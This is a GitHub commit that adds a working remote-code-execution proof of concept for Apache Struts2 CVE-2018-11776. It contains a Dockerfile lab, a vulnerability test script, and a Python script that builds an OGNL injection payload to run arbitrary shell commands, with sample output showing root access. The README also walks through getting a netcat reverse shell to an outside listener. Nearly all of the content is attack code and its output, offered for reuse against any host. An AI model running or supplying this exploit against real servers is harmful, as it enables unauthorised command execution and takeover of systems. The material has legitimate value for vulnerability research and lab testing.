Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
added dockerlab, test script, poc tool, documentation
- Loading branch information
hook-s3c
committed
Aug 24, 2018
1 parent
c99d527
commit 112306e
Showing
5 changed files
with
217 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
FROM tomcat:7 | ||
MAINTAINER piesecurity <admin@pie-secure.org> | ||
RUN set -ex \ | ||
&& rm -rf /usr/local/tomcat/webapps/* \ | ||
&& chmod a+x /usr/local/tomcat/bin/*.sh | ||
COPY struts2-showcase-2.3.12.war /usr/local/tomcat/webapps/ROOT.war | ||
EXPOSE 8080 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1,97 @@ | ||
# CVE-2018-11776-Python-PoC | ||
hook-s3c (github.com/hook-s3c), @hook_s3c on twitter | ||
|
||
Working Python test and PoC for CVE-2018-11776, originally appearing on; | ||
https://github.com/hook-s3c/CVE-2018-11776-Python-PoC | ||
|
||
## Set up your docker instance | ||
|
||
exploit will work fine with the docker container build for cve-2017-5638 | ||
(struts2-showcase-2.3.12) | ||
``` | ||
$ docker pull piesecurity/apache-struts2-cve-2017-5638 | ||
``` | ||
|
||
## Set up your weakened configuration | ||
|
||
``` | ||
$ apt-get install vim | ||
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml | ||
``` | ||
add the configuration below; | ||
``` | ||
<action name="help"> | ||
<result type="redirectAction"> | ||
<param name="actionName">date.action</param> | ||
</result> | ||
</action> | ||
``` | ||
|
||
restart your tomcat and/or container | ||
``` | ||
$ /usr/local/tomcat/bin/shutdown.sh | ||
``` | ||
|
||
## Verify that target is vulnerable | ||
|
||
test the url to see if a redirect and evaluation occurs; | ||
|
||
http://0.0.0.0:32771/${2+2}/help.action > http://0.0.0.0:32771/4/date.action | ||
|
||
with the test script; | ||
``` | ||
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action | ||
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action | ||
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable! | ||
``` | ||
|
||
## Execute commands PoC | ||
|
||
``` | ||
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id' | ||
[Execute]: id | ||
[Url]: http://0.0.0.0:32771/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action | ||
uid=0(root) gid=0(root) groups=0(root) | ||
``` | ||
|
||
|
||
## Reverse shell | ||
|
||
get your box ready to accept the reverse shell; | ||
``` | ||
$ netcat -lvp 31337 | ||
``` | ||
|
||
run the script; | ||
``` | ||
# you'll want to install netcat | ||
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y' | ||
# now pop that shell | ||
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337' | ||
``` | ||
replace 32771 with your exposed container port | ||
|
||
# Debug hell (notes/todo) | ||
|
||
All requests with a forward-slash (/) will fail because Tomcat actively blocks these, you may need to work around this, for example using environment variables for /bin/bash as $SHELL in the example above. | ||
|
||
- https://stackoverflow.com/questions/9719224/coding-forward-and-backward-slashes-in-tomcat-7 | ||
- http://engineering.widen.com/blog/tomcat-slashes/ | ||
|
||
|
||
# Credit | ||
|
||
Thanks to ; | ||
|
||
- piesecurity for the Dockerfile lab and example of OGNL payload (https://github.com/piesecurity/apache-struts2-CVE-2017-5638) | ||
- xfox64x for the write-up on the method (https://github.com/xfox64x/CVE-2018-11776) | ||
- jiguang7 for the test (https://github.com/jiguang7/CVE-2018-11776) | ||
|
||
|
||
# Greetz | ||
|
||
shout out to vap0rsquad!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
#!/usr/bin/python | ||
# -*- coding: utf-8 -*- | ||
|
||
# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter | ||
|
||
import sys | ||
import urllib | ||
import urllib2 | ||
import httplib | ||
|
||
|
||
def exploit(host,cmd): | ||
print "[Execute]: {}".format(cmd) | ||
|
||
ognl_payload = "${" | ||
ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)." | ||
ognl_payload += "(#cmd='{}').".format(cmd) | ||
ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." | ||
ognl_payload += "(#cmds=(#iswin?{'cmd.exe','c',#cmd}:{'bash','-c',#cmd}))." | ||
ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))." | ||
ognl_payload += "(#p.redirectErrorStream(true))." | ||
ognl_payload += "(#process=#p.start())." | ||
ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." | ||
ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." | ||
ognl_payload += "(#ros.flush())" | ||
ognl_payload += "}" | ||
|
||
if not ":" in host: | ||
host = "{}:8080".format(host) | ||
|
||
# encode the payload | ||
ognl_payload_encoded = urllib.quote_plus(ognl_payload) | ||
|
||
# further encoding | ||
url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20")) | ||
|
||
print "[Url]: {}\n\n\n".format(url) | ||
|
||
try: | ||
request = urllib2.Request(url) | ||
response = urllib2.urlopen(request).read() | ||
except httplib.IncompleteRead, e: | ||
response = e.partial | ||
print response | ||
|
||
|
||
if len(sys.argv) < 3: | ||
sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0]) | ||
else: | ||
exploit(sys.argv[1],sys.argv[2]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,64 @@ | ||
#!/usr/bin/env python3 | ||
# From: JIGUANG s1@jiguang.in | ||
# edits by hook-s3c (github.com/hook-s3c) | ||
|
||
|
||
import requests,sys,random,json | ||
requests.packages.urllib3.disable_warnings() | ||
|
||
from urllib import parse | ||
|
||
|
||
def info(): | ||
|
||
s2_057 = {"id": "CVE-2018-11776", "kind": "web", "type": "Remote Command Execution", "name": "Struts2 \u547d\u4ee4\u6267\u884c\u6f0f\u6d1eCVE-2018-11776", "status": "high", "description": "", "expansion": "", "resolution": "", "method": "POST", "payload": "", "header": "", "body": "", "affectedComponent": [{"name": "WebLogic", "description": "Struts2\u662f\u4e00\u4e2a\u57fa\u4e8eMVC\u8bbe\u8ba1\u6a21\u5f0f\u7684Web\u5e94\u7528\u6846\u67b6\uff0c\u5b83\u672c\u8d28\u4e0a\u76f8\u5f53\u4e8e\u4e00\u4e2aservlet\uff0c\u5728MVC\u8bbe\u8ba1\u6a21\u5f0f\u4e2d\uff0cStruts2\u4f5c\u4e3a\u63a7\u5236\u5668(Controller)\u6765\u5efa\u7acb\u6a21\u578b\u4e0e\u89c6\u56fe\u7684\u6570\u636e\u4ea4\u4e92"}]} | ||
|
||
def poc(url): | ||
|
||
try: | ||
|
||
retval = False | ||
headers = dict() | ||
headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:61.0) Gecko/20100101 Firefox/61.0' | ||
r1 = random.randint(10000,99999) | ||
r2 = random.randint(10000,99999) | ||
r3 = r1 + r2 | ||
|
||
urlOne = url | ||
|
||
res = requests.get(url=urlOne,timeout=6,allow_redirects=False,verify=False) | ||
|
||
if res.status_code == 200: | ||
|
||
urlTemp = parse.urlparse(urlOne) | ||
|
||
urlTwo = urlTemp.scheme + '://' + urlTemp.netloc + '/${%s+%s}/help.action'%(r1,r2) | ||
res = requests.get(url=urlTwo,timeout=6,allow_redirects=False,verify=False) | ||
|
||
print("testing the url for exploit;", urlTwo) | ||
if res.status_code == 302 and res.headers.get('Location') is not None and str(r3) in res.headers.get('Location'): | ||
# print("passed the redirect check") | ||
urlThree = res.headers.get('Location') | ||
# print(urlThree) | ||
# res = requests.get(url=urlThree,timeout=6,allow_redirects=False,verify=False) | ||
retval |= str(r3) in urlThree | ||
# print(retval) | ||
|
||
except:pass | ||
finally: | ||
|
||
if retval: | ||
|
||
print('URL {} s2-057 CVE-2018-11776 is vulnerable!'.format(url)) | ||
|
||
else: | ||
print('URL {} s2-057 CVE-2018-11776, not vulnerable!'.format(url)) | ||
|
||
|
||
|
||
|
||
if __name__ == '__main__': | ||
|
||
args = sys.argv[1] | ||
poc(url=args) | ||
|
Binary file not shown.